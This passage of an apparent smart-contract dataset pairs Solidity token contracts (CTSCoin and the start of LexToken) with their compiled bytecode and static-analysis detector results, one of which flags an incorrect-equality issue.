ffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e0db9ebaefcb013dccca03d142bbc8afed08a9119c1727d50dc47b7b9284a05a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,647
0xf0e7fb59c4e362c16c6b736e2b4bef9c4aa934a2
/** * SafeMath Libary */ pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } function safeSub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function safeMul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a / b; return c; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns(bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender,uint256 _value); } contract CTSCoin is EIP20Interface,Ownable,SafeMath,Pausable{ //// Constant token specific fields string public constant name ="CTSCoin"; string public constant symbol = "CTSC"; uint8 public constant decimals = 18; string public version = 'v0.1'; uint256 public constant initialSupply = 500000000; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowances; //sum of buy mapping (address => uint) public jail; mapping (address => uint256) public updateTime; //Locked token mapping (address => uint256) public LockedToken; //set raise time uint256 public finaliseTime; //to receive eth from the contract address public walletOwnerAddress; //Tokens to 1 eth uint256 public rate; event WithDraw(address indexed _from, address indexed _to,uint256 _value); event BuyToken(address indexed _from, address indexed _to, uint256 _value); function CTSCoin() public { totalSupply = initialSupply*10**uint256(decimals); // total supply balances[msg.sender] = totalSupply; // Give the creator all initial tokens walletOwnerAddress = msg.sender; rate = 1500; } modifier notFinalised() { require(finaliseTime == 0); _; } function balanceOf(address _account) public view returns (uint) { return balances[_account]; } function _transfer(address _from, address _to, uint _value) internal whenNotPaused returns(bool) { require(_to != address(0x0)&&_value>0); require (canTransfer(_from, _value)); require(balances[_from] >= _value); require(safeAdd(balances[_to],_value) > balances[_to]); uint previousBalances = safeAdd(balances[_from],balances[_to]); balances[_from] = safeSub(balances[_from],_value); balances[_to] = safeAdd(balances[_to],_value); emit Transfer(_from, _to, _value); assert(safeAdd(balances[_from],balances[_to]) == previousBalances); return true; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success){ return _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_value <= allowances[_from][msg.sender]); allowances[_from][msg.sender] = safeSub(allowances[_from][msg.sender],_value); return _transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowances[msg.sender][_spender] = safeAdd(allowances[msg.sender][_spender],_addedValue); emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowances[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowances[msg.sender][_spender] = 0; } else { allowances[msg.sender][_spender] = safeSub(oldValue,_subtractedValue); } emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowances[_owner][_spender]; } //close the raise function setFinaliseTime() onlyOwner notFinalised public returns(bool){ finaliseTime = now; rate = 0; return true; } //close the raise function Restart(uint256 newrate) onlyOwner public returns(bool){ finaliseTime = 0; rate = newrate; return true; } function setRate(uint256 newrate) onlyOwner notFinalised public returns(bool) { rate = newrate; return true; } function setWalletOwnerAddress(address _newaddress) onlyOwner public returns(bool) { walletOwnerAddress = _newaddress; return true; } //Withdraw eth form the contranct function withdraw(address _to) internal returns(bool){ require(_to.send(this.balance)); emit WithDraw(msg.sender,_to,this.balance); return true; } //Lock tokens function canTransfer(address _from, uint256 _value) internal view returns (bool success) { uint256 index; uint256 locked; index = safeSub(now, updateTime[_from]) / 1 days; if(index >= 200){ return true; } uint256 releasedtemp = safeMul(index,jail[_from])/200; if(releasedtemp >= LockedToken[_from]){ return true; } locked = safeSub(LockedToken[_from],releasedtemp); require(safeSub(balances[_from], _value) >= locked); return true; } function _buyToken(address _to,uint256 _value)internal notFinalised whenNotPaused{ require(_to != address(0x0)); uint256 index; uint256 locked; if(updateTime[_to] != 0){ index = safeSub(now,updateTime[_to])/1 days; uint256 releasedtemp = safeMul(index,jail[_to])/200; if(releasedtemp >= LockedToken[_to]){ LockedToken[_to] = 0; }else{ LockedToken[_to] = safeSub(LockedToken[_to],releasedtemp); } } locked = safeSub(_value,_value/200); LockedToken[_to] = safeAdd(LockedToken[_to],locked); balances[_to] = safeAdd(balances[_to], _value); jail[_to] = safeAdd(jail[_to], _value); balances[walletOwnerAddress] = safeSub(balances[walletOwnerAddress],_value); updateTime[_to] = now; withdraw(walletOwnerAddress); emit BuyToken(msg.sender, _to, _value); } function() public payable{ require(msg.value >= 0.001 ether); uint256 tokens = safeMul(msg.value,rate); _buyToken(msg.sender,tokens); } }
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101b0578063095ea7b31461023a57806318160ddd1461027257806323b872dd1461029957806327e235e3146102c35780632c4e722e146102e4578063313ce567146102f9578063348e97791461032457806334fcf4371461033c578063378dc3dc146103545780633f4ba83a14610369578063413e70001461038057806354fd4d50146103a157806355b6ed5c146103b65780635c975abb146103dd57806366188463146103f257806370a082311461041657806371463599146104375780638456cb59146104585780638da5cb5b1461046d57806395d89b411461049e5780639bcbea52146104b3578063a0df9538146104d4578063a7638346146104e9578063a9059cbb146104fe578063b556188e14610522578063d250ee7814610537578063d73dd62314610558578063dd62ed3e1461057c578063f2fde38b146105a3575b600066038d7ea4c6800034101561019557600080fd5b6101a134600a546105c4565b90506101ad33826105fa565b50005b3480156101bc57600080fd5b506101c5610899565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ff5781810151838201526020016101e7565b50505050905090810190601f16801561022c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024657600080fd5b5061025e600160a060020a03600435166024356108d0565b604080519115158252519081900360200190f35b34801561027e57600080fd5b50610287610936565b60408051918252519081900360200190f35b3480156102a557600080fd5b5061025e600160a060020a036004358116906024351660443561093c565b3480156102cf57600080fd5b50610287600160a060020a03600435166109eb565b3480156102f057600080fd5b506102876109fd565b34801561030557600080fd5b5061030e610a03565b6040805160ff9092168252519081900360200190f35b34801561033057600080fd5b5061025e600435610a08565b34801561034857600080fd5b5061025e600435610a30565b34801561036057600080fd5b50610287610a60565b34801561037557600080fd5b5061037e610a68565b005b34801561038c57600080fd5b50610287600160a060020a0360043516610ae0565b3480156103ad57600080fd5b506101c5610af2565b3480156103c257600080fd5b50610287600160a060020a0360043581169060243516610b7d565b3480156103e957600080fd5b5061025e610b9a565b3480156103fe57600080fd5b5061025e600160a060020a0360043516602435610baa565b34801561042257600080fd5b50610287600160a060020a0360043516610c94565b34801561044357600080fd5b50610287600160a060020a0360043516610caf565b34801561046457600080fd5b5061037e610cc1565b34801561047957600080fd5b50610482610d3e565b60408051600160a060020a039092168252519081900360200190f35b3480156104aa57600080fd5b506101c5610d4d565b3480156104bf57600080fd5b50610287600160a060020a0360043516610d84565b3480156104e057600080fd5b50610482610d96565b3480156104f557600080fd5b5061025e610da5565b34801561050a57600080fd5b5061025e600160a060020a0360043516602435610ddb565b34801561052e57600080fd5b50610287610e07565b34801561054357600080fd5b5061025e600160a060020a0360043516610e0d565b34801561056457600080fd5b5061025e600160a060020a0360043516602435610e59565b34801561058857600080fd5b50610287600160a060020a0360043581169060243516610eec565b3480156105af57600080fd5b5061037e600160a060020a0360043516610f17565b6000808315156105d757600091506105f3565b508282028284828115156105e757fe5b04146105ef57fe5b8091505b5092915050565b6000806000600854600014151561061057600080fd5b60015460a060020a900460ff161561062757600080fd5b600160a060020a038516151561063c57600080fd5b600160a060020a0385166000908152600660205260409020541561074857600160a060020a0385166000908152600660205260409020546201518090610683904290610f5d565b81151561068c57fe5b04925060c86106c0846005600089600160a060020a0316600160a060020a03168152602001908152602001600020546105c4565b8115156106c957fe5b600160a060020a0387166000908152600760205260409020549190049150811061070b57600160a060020a038516600090815260076020526040812055610748565b600160a060020a03851660009081526007602052604090205461072e9082610f5d565b600160a060020a0386166000908152600760205260409020555b6107558460c88104610f5d565b600160a060020a03861660009081526007602052604090205490925061077b9083610f6f565b600160a060020a0386166000908152600760209081526040808320939093556003905220546107aa9085610f6f565b600160a060020a0386166000908152600360209081526040808320939093556005905220546107d99085610f6f565b600160a060020a038087166000908152600560209081526040808320949094556009549092168152600390915220546108129085610f5d565b60098054600160a060020a0390811660009081526003602090815260408083209590955589831682526006905292909220429055546108519116610f7e565b50604080518581529051600160a060020a0387169133917fa5ff468a42a1c7f5a78dd6683a9722f1ef3c388d590959bbd7a6d2c837fcab079181900360200190a35050505050565b60408051808201909152600781527f435453436f696e00000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b60015460009060a060020a900460ff161561095657600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561098657600080fd5b600160a060020a03841660009081526004602090815260408083203384529091529020546109b49083610f5d565b600160a060020a03851660009081526004602090815260408083203384529091529020556109e3848484610ff9565b949350505050565b60036020526000908152604090205481565b600a5481565b601281565b600154600090600160a060020a03163314610a2257600080fd5b506000600855600a55600190565b600154600090600160a060020a03163314610a4a57600080fd5b60085415610a5757600080fd5b50600a55600190565b631dcd650081565b600154600160a060020a03163314610a7f57600080fd5b60015460a060020a900460ff161515610a9757600080fd5b6001805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60076020526000908152604090205481565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610b755780601f10610b4a57610100808354040283529160200191610b75565b820191906000526020600020905b815481529060010190602001808311610b5857829003601f168201915b505050505081565b600460209081526000928352604080842090915290825290205481565b60015460a060020a900460ff1681565b336000908152600460209081526040808320600160a060020a038616845290915281205480831115610bff57336000908152600460209081526040808320600160a060020a0388168452909152812055610c2e565b610c098184610f5d565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526003602052604090205490565b60066020526000908152604090205481565b600154600160a060020a03163314610cd857600080fd5b60015460a060020a900460ff1615610cef57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600154600160a060020a031681565b60408051808201909152600481527f4354534300000000000000000000000000000000000000000000000000000000602082015281565b60056020526000908152604090205481565b600954600160a060020a031681565b600154600090600160a060020a03163314610dbf57600080fd5b60085415610dcc57600080fd5b50426008556000600a55600190565b60015460009060a060020a900460ff1615610df557600080fd5b610e00338484610ff9565b9392505050565b60085481565b600154600090600160a060020a03163314610e2757600080fd5b5060098054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b336000908152600460209081526040808320600160a060020a0386168452909152812054610e879083610f6f565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600154600160a060020a03163314610f2e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610f6957fe5b50900390565b6000828201838110156105ef57fe5b604051600090600160a060020a03831690303180156108fc029184818181858888f193505050501515610fb057600080fd5b60408051303181529051600160a060020a0384169133917fec37a407e13e9283023de85016cfda169c84b8f0e8dcda13c92311ab8fee7ad59181900360200190a3506001919050565b600154600090819060a060020a900460ff161561101557600080fd5b600160a060020a0384161580159061102d5750600083115b151561103857600080fd5b61104285846111b8565b151561104d57600080fd5b600160a060020a03851660009081526003602052604090205483111561107257600080fd5b600160a060020a0384166000908152600360205260409020546110958185610f6f565b1161109f57600080fd5b600160a060020a038086166000908152600360205260408082205492871682529020546110cc9190610f6f565b600160a060020a0386166000908152600360205260409020549091506110f29084610f5d565b600160a060020a0380871660009081526003602052604080822093909355908616815220546111219084610f6f565b600160a060020a0380861660008181526003602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3600160a060020a0380861660009081526003602052604080822054928716825290205482916111a691610f6f565b146111ad57fe5b506001949350505050565b600080600080620151806111f142600660008a600160a060020a0316600160a060020a0316815260200190815260200160002054610f5d565b8115156111fa57fe5b04925060c8831061120e57600193506112c6565b600160a060020a03861660009081526005602052604090205460c8906112359085906105c4565b81151561123e57fe5b600160a060020a0388166000908152600760205260409020549190049150811061126b57600193506112c6565b600160a060020a03861660009081526007602052604090205461128e9082610f5d565b600160a060020a03871660009081526003602052604090205490925082906112b69087610f5d565b10156112c157600080fd5b600193505b505050929150505600a165627a7a723058206441c58b57ade215d1e01a6247c706415e3942d7e56c9c3282bbd499c3cb8a2d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,648
0xfa017fe9518a09bd55c6edaee2cdac21890639fd
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn lexToken with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 